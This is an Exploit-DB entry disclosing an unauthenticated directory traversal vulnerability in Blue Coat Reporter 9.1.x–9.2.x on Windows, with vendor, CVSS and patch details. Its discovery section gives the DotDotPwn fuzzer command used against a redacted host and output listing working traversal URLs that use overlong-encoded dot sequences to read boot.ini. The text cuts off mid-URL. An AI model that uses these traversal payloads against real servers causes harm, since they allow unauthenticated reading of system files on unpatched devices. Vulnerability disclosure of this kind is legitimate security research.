Exploit-DB #17883
Description: Blue Coat Reporter - Directory Traversal
Type: remote
Platform: hardware
Date: 2011-09-22
Author: nitr0us

Exploit:
# Exploit Title: Blue Coat Reporter Unauthenticated Directory Traversal
# Author: nitr0us / http://twitter.com/nitr0usmx
# Software Link: http://www.bluecoat.com/products/reporter
# Version: 9.2.x - 9.1.x
# Tested on: Windows Server 2003 Standard


Blue Coat Reporter Unauthenticated Directory Traversal
=================================================================================
### PUBLIC RELEASE ###
My gift to Ekoparty Security Conference 2011 @ Argentina
What a great event!
21/Sept/2011
### PUBLIC RELEASE ###



Vulnerability Information
=================================================================================
Vendor:          Blue Coat Systems, Inc. (NASDAQ: BCSI) - http://www.bluecoat.com
Product:         Blue Coat Reporter - http://www.bluecoat.com/products/reporter
Versions:        9.2.x - 9.1.x
Platform:        Windows (the Linux installation is not vulnerable)
Tested on:       Blue Coat Reporter 9.2.3 on Windows Server 2003 Standard
Vulnerability:   Directory Traversal
CVSS v2 Score:   8.3 (High) [ AV:A/AC:L/Au:N/C:C/I:C/A:C ]
Author:          Alejandro Hernandez H. (nitr0us) / http://twitter.com/nitr0usmx
Discovery Date:  April 14th, 2011
Public Release:  September 21th, 2011 @ Ekoparty Security Conference
Vendor Response: Blue Coat has confirmed the existence of a patch for 9.3.1.1 but
                 until *now* there is no patch for 9.2.x nor 9.1.x
Vendor Advisory: https://kb.bluecoat.com/index?page=content&id=SA60



Product Information
=================================================================================
Blue Coat Reporter gives managers powerful visibility into all Web-related user 
activity. Beyond URL Filtering, Reporter provides customizable, at-a-glance 
dashboards and reports along with intuitive drill-down capabilities making it an 
invaluable part of security, compliance, bandwidth management, and other 
business-critical efforts necessary in todays competitive environment.

Reporter quickly processes robust log data from Blue Coat ProxySG and ProxyClient 
along with conveyed data from Webfilter and ProxyAV, providing easy-to-view 
reports for security specialists, department managers, HR managers, and network 
administrators. Blue Coat Reporter provides the ultimate architecture for 
complete Web visibility and control.

Security administrators can evaluate risks and track user activity that is 
potentially dangerous, and quickly determine users with malicious content, 
including spyware. Plus, view a security analysis with sub-reports that include 
malware ids, malware IP detail, malware URL detail and malware user detail. 
Security views provide administrators with greater visibility into the strength 
and stability of their network.

FEATURES:
- Comprehensive Security and Web Traffic Information
- Real-Time Dashboard
- Threat Protection Reporting
- Flexible Reporting
- Scalable Performance
- Content Filtering and Trend Analysis
- Customized Access
- Views: Administrator, HR, Security and Technical



Vulnerability Discovery (some info has been replaced with X's)
=================================================================================
I found this vulnerability with DotDotPwn v3.0beta fuzzer:

#./dotdotpwn.pl -m http -h 10.X.X.X -x 8081 -d 3 -f boot.ini -q
#################################################################################
#                                                                               #
#  CubilFelino                                                       Chatsubo   #
#  Security Research Lab              and            [(in)Security Dark] Labs   #
#  chr1x.sectester.net                             chatsubo-labs.blogspot.com   #
#                                                                               #
#                               pr0udly present:                                #
#                                                                               #
#  ________            __  ________            __  __________                   #
#  \______ \    ____ _/  |_\______ \    ____ _/  |_\______   \__  _  __ ____    #
#   |    |  \  /  _ \\   __\|    |  \  /  _ \\   __\|     ___/\ \/ \/ //    \   #
#   |    `   \(  <_> )|  |  |    `   \(  <_> )|  |  |    |     \     /|   |  \  #
#  /_______  / \____/ |__| /_______  / \____/ |__|  |____|      \/\_/ |___|  /  #
#          \/                      \/                                      \/   #
#                            - DotDotPwn v3.0 Beta -                            #
#                         The Directory Traversal Fuzzer                        #
#                         http://dotdotpwn.sectester.net                        #
#                            dotdotpwn@sectester.net                            #
#                                                                               #
#                              by chr1x & nitr0us                               #
#################################################################################

[========== TARGET INFORMATION ==========]
[+] Hostname: 10.X.X.X
[+] Protocol: http
[+] Port: 8081
Blue Coat Reporter
[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 3 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Appending 'boot.ini' to the Traversal Strings
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 300

[=========== TESTING RESULTS ============]
[+] Ready to launch 3.33 traversals per second
[+] Press any key to start the testing (You can stop it pressing Ctrl + C)

[*] Testing Path: http://10.X.X.X:8081/%c0.%c0./%c0.%c0./%c0.%c0./boot.ini <- VULNERABLE!
[*] Testing Path: http://10.X.X.X:8081/%c0.%c0.\%c0.%c0.\%c0.%c0.\boot.ini <- VULNERABLE!
[*] Testing Path: http:/